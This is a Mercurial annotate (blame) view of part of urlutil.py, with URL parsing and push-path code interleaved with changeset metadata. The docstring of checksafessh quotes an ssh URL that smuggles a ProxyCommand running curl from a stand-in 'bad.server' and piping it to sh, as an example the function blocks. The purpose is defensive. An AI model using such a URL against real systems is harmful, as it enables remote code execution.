Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
332 |
if self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
333 |
if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
334 |
s += urlreq.quote(self.host) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
335 |
else: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
336 |
s += self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
337 |
if self.port: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
338 |
s += b':' + urlreq.quote(self.port) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
339 |
if self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
340 |
s += b'/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
341 |
if self.path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
342 |
# TODO: similar to the query string, we should not unescape the |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
343 |
# path when we store it, the path might contain '%2f' = '/', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
344 |
# which we should *not* escape. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
345 |
s += urlreq.quote(self.path, safe=self._safepchars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
346 |
if self.query: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
347 |
# we store the query in escaped form. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
348 |
s += b'?' + self.query |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
349 |
if self.fragment is not None: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
350 |
s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
351 |
return s |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
352 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
353 |
__str__ = encoding.strmethod(__bytes__) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
354 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
355 |
def authinfo(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
356 |
user, passwd = self.user, self.passwd |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
357 |
try: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
358 |
self.user, self.passwd = None, None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
359 |
s = bytes(self) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
360 |
finally: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
361 |
self.user, self.passwd = user, passwd |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
362 |
if not self.user: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
363 |
return (s, None) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
364 |
# authinfo[1] is passed to urllib2 password manager, and its |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
365 |
# URIs must not contain credentials. The host is passed in the |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
366 |
# URIs list because Python < 2.4.3 uses only that to search for |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
367 |
# a password. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
368 |
return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
369 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
370 |
def isabs(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
371 |
if self.scheme and self.scheme != b'file': |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
372 |
return True # remote URL |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
373 |
if hasdriveletter(self.path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
374 |
return True # absolute for our purposes - can't be joined() |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
375 |
if self.path.startswith(br'\\'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
376 |
return True # Windows UNC path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
377 |
if self.path.startswith(b'/'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
378 |
return True # POSIX-style |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
379 |
return False |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
380 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
381 |
def localpath(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
382 |
# type: () -> bytes |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
383 |
if self.scheme == b'file' or self.scheme == b'bundle': |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
384 |
path = self.path or b'/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
385 |
# For Windows, we need to promote hosts containing drive |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
386 |
# letters to paths with drive letters. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
387 |
if hasdriveletter(self._hostport): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
388 |
path = self._hostport + b'/' + self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
389 |
elif ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
390 |
self.host is not None and self.path and not hasdriveletter(path) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
391 |
): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
392 |
path = b'/' + path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
393 |
return path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
394 |
return self._origpath |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
395 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
396 |
def islocal(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
397 |
'''whether localpath will return something that posixfile can open''' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
398 |
return ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
399 |
not self.scheme |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
400 |
or self.scheme == b'file' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
401 |
or self.scheme == b'bundle' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
402 |
) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
403 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
404 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
405 |
def hasscheme(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
406 |
# type: (bytes) -> bool |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
407 |
return bool(url(path).scheme) # cast to help pytype |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
408 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
409 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
410 |
def hasdriveletter(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
411 |
# type: (bytes) -> bool |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
412 |
return bool(path) and path[1:2] == b':' and path[0:1].isalpha() |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
413 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
414 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
415 |
def urllocalpath(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
416 |
# type: (bytes) -> bytes |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
417 |
return url(path, parsequery=False, parsefragment=False).localpath() |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
418 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
419 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
420 |
def checksafessh(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
421 |
# type: (bytes) -> None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
422 |
"""check if a path / url is a potentially unsafe ssh exploit (SEC) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
423 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
424 |
This is a sanity check for ssh urls. ssh will parse the first item as |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
425 |
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
426 |
Let's prevent these potentially exploited urls entirely and warn the |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
427 |
user. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
428 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
429 |
Raises an error.Abort when the url is unsafe. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
430 |
""" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
431 |
path = urlreq.unquote(path) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
432 |
if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
433 |
raise error.Abort( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
434 |
_(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
435 |
) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
436 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
437 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
438 |
def hidepassword(u): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
439 |
# type: (bytes) -> bytes |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
440 |
'''hide user credential in a url string''' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
441 |
u = url(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
442 |
if u.passwd: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
443 |
u.passwd = b'***' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
444 |
return bytes(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
445 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
446 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
447 |
def removeauth(u): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
448 |
# type: (bytes) -> bytes |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
449 |
'''remove all authentication information from a url string''' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
450 |
u = url(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
451 |
u.user = u.passwd = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
452 |
return bytes(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
453 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
454 |
|
47030
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
455 |
def list_paths(ui, target_path=None): |
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
456 |
"""list all the (name, paths) in the passed ui""" |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
457 |
result = [] |
47030
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
458 |
if target_path is None: |
48913
f254fc73d956
global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48743
diff
changeset
|
459 |
for name, paths in sorted(ui.paths.items()): |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
460 |
for p in paths: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
461 |
result.append((name, p)) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
462 |
|
47030
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
463 |
else: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
464 |
for path in ui.paths.get(target_path, []): |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
465 |
result.append((target_path, path)) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
466 |
return result |
47030
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
467 |
|
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47029
diff
changeset
|
468 |
|
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
469 |
def try_path(ui, url): |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
470 |
"""try to build a path from a url |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
471 |
|
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
472 |
Return None if no Path could built. |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
473 |
""" |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
474 |
try: |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
475 |
# we pass the ui instance are warning might need to be issued |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
476 |
return path(ui, None, rawloc=url) |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
477 |
except ValueError: |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
478 |
return None |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
479 |
|
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
480 |
|
46909
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
481 |
def get_push_paths(repo, ui, dests): |
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
482 |
"""yields all the `path` selected as push destination by `dests`""" |
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
483 |
if not dests: |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
484 |
if b'default-push' in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
485 |
for p in ui.paths[b'default-push']: |
49697
1fae401b3b14
path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49696
diff
changeset
|
486 |
yield p.get_push_variant() |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
487 |
elif b'default' in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
488 |
for p in ui.paths[b'default']: |
49697
1fae401b3b14
path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49696
diff
changeset
|
489 |
yield p.get_push_variant() |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
490 |
else: |
46917
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
491 |
raise error.ConfigError( |
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
492 |
_(b'default repository not configured!'), |
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
493 |
hint=_(b"see 'hg help config.paths'"), |
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
494 |
) |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
495 |
else: |
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
496 |
for dest in dests: |
47028
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
497 |
if dest in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
498 |
for p in ui.paths[dest]: |
49697
1fae401b3b14
path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49696
diff
changeset
|
499 |
yield p.get_push_variant() |
47028
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
500 |
else: |
d69a9628eba7
